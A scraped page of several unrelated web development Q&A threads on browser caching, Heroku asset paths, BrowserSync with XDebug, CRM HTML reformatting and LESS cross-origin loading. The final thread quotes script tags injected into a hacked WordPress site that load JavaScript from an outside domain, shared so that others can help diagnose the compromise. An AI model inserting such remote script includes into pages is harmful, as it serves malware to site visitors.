I have do to some changes in Javascript files. i deployed in my server and reset IIS.
I tried to launch from IE , the latest modified file changes cannot appear. It reads old file.
If I have to clear the cache , it will work. without clear cache how to work with latest files.
Please give a guidance to resolve this issue.
Thanks.
//try to get the value for time now and to add it to the script file url as version id
<html>
<title>
<script src='http://example.com/js/main.js?ver=<%=DateTime.Now.Ticks%>'
type='text/javascript' ></script>
<title>
<body>
</body>
</html>
You should check cache control options in your IIS.
For flushing cache you can use some variables in js links.
For example:
http://domain.com/js/main.js
and
http://domain.com/js/main.js?ver=1
downloads same file, but second link downloads file like new resource
Related
I have deployed a React + NodeJS app in Heroku and the deployment went well and worked for a few hours. However, after a cache deletion, it now refuses to load the page. The errors are the following ones:
Refused to apply style from 'https://flix-reloaded.herokuapp.com/src.78399e21.css' because its MIME type ('text/html') is not a supported stylesheet MIME type, and strict MIME checking is enabled.
and
GET https://flix-reloaded.herokuapp.com/src.78399e21.js net::ERR_ABORTED 404 (Not Found)
The first one, the MIME error refers to a minified file produced by a Parcel build. It is called in a index.html file that lives inside the dist folder. This is the line calling it:
<link rel="stylesheet" href="/src.78399e21.css">
Its twin .js file is also called within index.html:
<script src="/src.78399e21.js"></script>
Problem 1): I don' know what to do to make the CSS file accepted. within it, there are some comments imported from the SCSS original files related to each component. I tried both to remove the comments and add the type of the file as CSS but it hasn't worked. It should be a subtle detail, but I don't know what else to attempt.
Problem 2: The JS file that Heroku is not finding it is at the same folder of the index.html. However, the routing of the app has been defined to have client (Router basename="/client") as root (https://flix-reloaded.herokuapp.com/client). If I manually type the URL with client (https://flix-reloaded.herokuapp.com/client/src.78399e21.css), the file is found, but changing the path to the file in the index.html (you can see below) solves the 404 problem, but brings another one (says that a "<" token is unexpected within a system js file that is out of bounds).
I tried to run another Parcel build, commiting changes, clean caches, but nothing worked. Can anyone provide me some help? I'll be happy to provide further details if necessary.
The index.html file code that lives inside the dist folder (where the production files live):
<html>
<head>
<title>myFlix</title>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.2.1/css/bootstrap.min.css">
<link rel="stylesheet" href="/src.78399e21.css"></head>
<body>
<div class="app-container"></div>
<script src="/src.78399e21.js"></script>
</body>
</html>
Thanks in advance
If I manually type the URL with client (https://flix-reloaded.herokuapp.com/client/src.78399e21.css), the file is found, but changing the path to the file in the index.html (you can see below) solves the 404 problem, but brings another one (says that a "<" token is unexpected within a system js file that is out of bounds).
This is because you need to make the same /client/ fix to the <script src="/src.78399e21.js"></script> line.
In both cases, you've got the wrong URL for your CSS/JS files, and as a result the CSS/JS parsers are trying (and failing) to process the resulting 404 page's HTML as CSS/JS.
I have WAMP installed and it has XDebug showing me PHP errors in the browser.
I also use BrowserSync with Grunt to have the page reloaded when there are changes in the code. So, I have this kind of PHP file:
<?php
bad_code_here
echo "<html><head><title>Test</title></head><body></body></html>";
?>
The problem is that BrowserSync will not automatically refresh the page when there are PHP errors. BrowserSync needs a <head> and <body> tags, where a JavaScript for refreshing the page is inserted. XDebug doesn't create such tags, so, if there are fatal errors the page will not be refreshed after I correct them.
In order to fix this I wonder if I can:
change the template used by XDebug in such a way that there will always be a <head> and <body> tag. I cannot find the HTML files used by XDebug. Is this possible?
make my code generate such tags but only when there are errors (I don't know if PHP provides such an option, of saying: anytime the code fails generate this header and HTML)
Are there any other options?
So, I have a html file
<html>
<head>
..headstuff..
</head>
<body>
..bodystuff..
</body>
</html>
This file is included in the package, which I then deploy to my CRM. (rightclick -> deploy)
When I check my deployment, the file is present, and all looks visualy ok.
But when I check the code it now looks like this:
<html>
<head></head>
<body>
..headstuff..
..bodystuff..
</body>
</html>
How is this possible?
I've tried changing stuff in CRM and publishing, and it remains the same. I've also tried it with XrmToolbox with only the desired effect. So I'm suspecting the VS-CRM plugin to have something to do with this.
I've also tried different html's, they all get the same treatment.
I've seen issues with the WYSIWYG editor for web resource reformatting HTML incorrectly. If you're opening the web resource file in the web UI after deploying from VS and allowing the WYSIWYG editor render the content this maybe the issue.
I'm attempting to use LESS in a tab created via a Chrome extension (chrome.tabs.create), but I'm getting a cross domain error ("NETWORK_ERR: XMLHttpRequest Exception 101"), referring to the LESS JavaScript file. I'm not clear on how to set up the permissions. Adding the LESS JavaScript file to "web_accessible_resources" doesn't seem to help. All other files, such as css and js files load fine. It seems I only receive this error from within the less source. Any ideas?
To explain my setup a bit more, the LESS JavaScript file and .less file are loaded in an HTML file something like this:
<!DOCTYPE html>
<html>
<head>
<link rel="stylesheet/less" href="static/css/main.less">
<script src="/static/js/jquery-1.8.2.min.js"></script>
</head>
<body>
Whatever...
</body>
</html>
This html file is loaded in background.js like this:
chrome.browserAction.onClicked.addListener(function() {
chrome.tabs.create({url: 'mypage.html'})
});
The manifest file has permissions for "tabs" and "all urls", and loads background.js.
I'm not sure where you include the client side less.js compiler. See also: http://lesscss.org/#client-side-usage. Less.js is a client-side javascript. It seems the less.js loads from an other URL (domain) than your main.less file. This can be fixed by enabeling CORS, see: http://enable-cors.org/. On the domain where home.less has been installed, the server should send an Access-Control-Allow-Origin: * header.
less.js loads the less files with a XMLHttpRequests which supports CORS for most modern browsers see http://caniuse.com/#search=cors. More details can be found at http://www.html5rocks.com/en/tutorials/cors/
For development use less.js from local folder.
<link rel="stylesheet/less" type="text/css" href="styles.less" />
<script src="less.js" type="text/javascript"></script>
for release use any less compiler like lessc.
I have a website with wordpress 3.0.
I noticed that /wp-admin displays the following error today.
Warning: Cannot modify header information - headers already sent by (output started at /www/sites/..com/files/html/wp-includes/default-constants.php:299) in /www/sites/..com/files/html/wp-includes/pluggable.php on line 890
I used IE's view source. I found the following code.
script type="text/javascript" src="http://recordsquare.ru/KVM_Switch.js"></script>
<!--661c36e2c5591b25cbc164e7b376623b-->
<script type="text/javascript" src="http://recordsquare.ru/KVM_Switch.js"></script>
<!--661c36e2c5591b25cbc164e7b376623b--><script type="text/javascript" src="http://recordsquare.ru/KVM_Switch.js"></script>
<!--661c36e2c5591b25cbc164e7b376623b--><br />
it looks like my website has been hacked.
I enabled cforms plugin only.
any ideas or suggestions?
Pull the server offline, then run a security audit on it and any client that can upload content to it. Then change all your passwords.